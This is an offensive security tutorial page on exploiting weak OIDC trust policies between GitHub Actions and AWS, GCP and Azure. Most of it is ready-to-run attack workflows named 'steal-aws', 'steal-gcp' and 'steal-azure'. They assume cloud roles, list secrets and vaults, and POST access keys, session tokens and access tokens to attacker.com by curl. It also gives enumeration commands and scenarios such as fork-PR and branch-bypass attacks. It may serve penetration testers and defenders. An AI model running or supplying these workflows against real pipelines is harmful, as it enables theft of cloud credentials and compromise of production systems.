🔥 Advanced
OIDC & Cloud CI/CD Attacks
Modern CI/CD uses OIDC tokens to authenticate to cloud providers without storing long-lived credentials. Misconfigured trust policies are a goldmine for attackers.
High-Value Target
OIDC federation replaces static API keys with short-lived tokens. But weak trust policies mean ANY workflow in a repo (or even forked PRs) can assume cloud roles with production access.
How CI/CD OIDC Works
🔄
1. CI Job Starts
GitHub/GitLab generates JWT
→
🎫
2. Present Token
JWT sent to cloud provider
→
☁️
3. Get Creds
Cloud returns temp credentials
GitHub Actions OIDC Token
GitHub generates a JWT with claims about the workflow. Cloud providers validate these claims:
bash
# Decoded GitHub Actions OIDC Token (JWT payload):
{
"iss": "https://token.actions.githubusercontent.com",
"sub": "repo:org/repo-name:ref:refs/heads/main",
"aud": "https://github.com/org",
"ref": "refs/heads/main",
"sha": "abc123...",
"repository": "org/repo-name",
"repository_owner": "org",
"actor": "username",
"workflow": "deploy.yml",
"event_name": "push",
"ref_type": "branch",
"job_workflow_ref": "org/repo-name/.github/workflows/deploy.yml@refs/heads/main",
"runner_environment": "github-hosted"
}
# KEY INSIGHT: If cloud trust policy only checks "repository"
# and not "ref" or "environment", ANY branch can get creds!AWS OIDC Exploitation
Weak Trust Policy
bash
// VULNERABLE - Only checks repository, not branch!
{
"Version": "2012-10-17",
"Statement": [{
"Effect": "Allow",
"Principal": {
"Federated": "arn:aws:iam::123456789:oidc-provider/token.actions.githubusercontent.com"
},
"Action": "sts:AssumeRoleWithWebIdentity",
"Condition": {
"StringEquals": {
"token.actions.githubusercontent.com:sub": "repo:company/app:*" // WILDCARD!
}
}
}]
}
// ATTACK: Create any workflow in ANY branch, get AWS creds
// Even pull_request from fork might work if conditions are looseExploiting AWS OIDC
bash
# .github/workflows/steal-aws.yml
name: Steal AWS
on: [push, pull_request] # Runs on any push/PR
permissions:
id-token: write # Required for OIDC
contents: read
jobs:
pwn:
runs-on: ubuntu-latest
steps:
- name: Configure AWS Credentials
uses: aws-actions/configure-aws-credentials@v4
with:
role-to-assume: arn:aws:iam::123456789:role/GitHubActions
aws-region: us-east-1
- name: Exfiltrate
run: |
# You now have AWS creds!
aws sts get-caller-identity
aws s3 ls
aws secretsmanager list-secrets
# Exfil the credentials
curl -X POST -d "aws_key=$AWS_ACCESS_KEY_ID" https://attacker.com/
curl -X POST -d "aws_secret=$AWS_SECRET_ACCESS_KEY" https://attacker.com/
curl -X POST -d "aws_token=$AWS_SESSION_TOKEN" https://attacker.com/GCP Workload Identity
bash
# GCP uses Workload Identity Federation
# Vulnerable pool might allow any repo workflow
# .github/workflows/steal-gcp.yml
name: GCP Exploit
on: push
permissions:
id-token: write
contents: read
jobs:
pwn:
runs-on: ubuntu-latest
steps:
- uses: google-github-actions/auth@v2
with:
workload_identity_provider: 'projects/123/locations/global/workloadIdentityPools/github/providers/my-repo'
service_account: 'github-actions@project.iam.gserviceaccount.com'
- name: Exfil GCP
run: |
gcloud auth list
gcloud projects list
gcloud secrets list
gcloud compute instances list
# Get access token
gcloud auth print-access-token | curl -X POST -d @- https://attacker.com/Azure OIDC Federation
bash
# Azure uses Federated Identity Credentials
# Weak config might trust entire org or repo without branch restrictions
# .github/workflows/steal-azure.yml
name: Azure Exploit
on: push
permissions:
id-token: write
contents: read
jobs:
pwn:
runs-on: ubuntu-latest
steps:
- uses: azure/login@v1
with:
client-id: ${{ secrets.AZURE_CLIENT_ID }}
tenant-id: ${{ secrets.AZURE_TENANT_ID }}
subscription-id: ${{ secrets.AZURE_SUBSCRIPTION_ID }}
- name: Exfil Azure
run: |
az account show
az keyvault list
az keyvault secret list --vault-name target-vault
az storage account list
# Get access token
az account get-access-token --query accessToken -o tsv | \
curl -X POST -d @- https://attacker.com/Enumeration
bash
# Search for OIDC usage in workflows
grep -r "id-token: write" .github/workflows/
grep -r "role-to-assume" .github/workflows/
grep -r "workload_identity_provider" .github/workflows/
grep -r "azure/login" .github/workflows/
# Check AWS IAM for OIDC providers (requires AWS access)
aws iam list-open-id-connect-providers
aws iam get-open-id-connect-provider --open-id-connect-provider-arn <arn>
# Check trust policies on roles
aws iam get-role --role-name GitHubActionsRole --query 'Role.AssumeRolePolicyDocument'
# Look for wildcards in conditions - VULNERABLE!
# "sub": "repo:org/*"
# "sub": "repo:org/repo:*"
# GCP - Check workload identity pools
gcloud iam workload-identity-pools list --location=global
gcloud iam workload-identity-pools providers list --workload-identity-pool=<pool> --location=globalAttack Scenarios
Fork + PR Attack
If OIDC trust doesn't exclude forks, attacker forks repo, creates workflow, opens PR → gets cloud creds
Branch Bypass
Trust policy only checks repo, not branch. Attacker pushes to feature branch → assumes prod role
Workflow Injection
Attacker injects into existing workflow via PR title/body command injection → OIDC creds stolen
Org-Wide Trust
Trust policy uses org wildcard. Compromise ANY repo in org → access to shared cloud role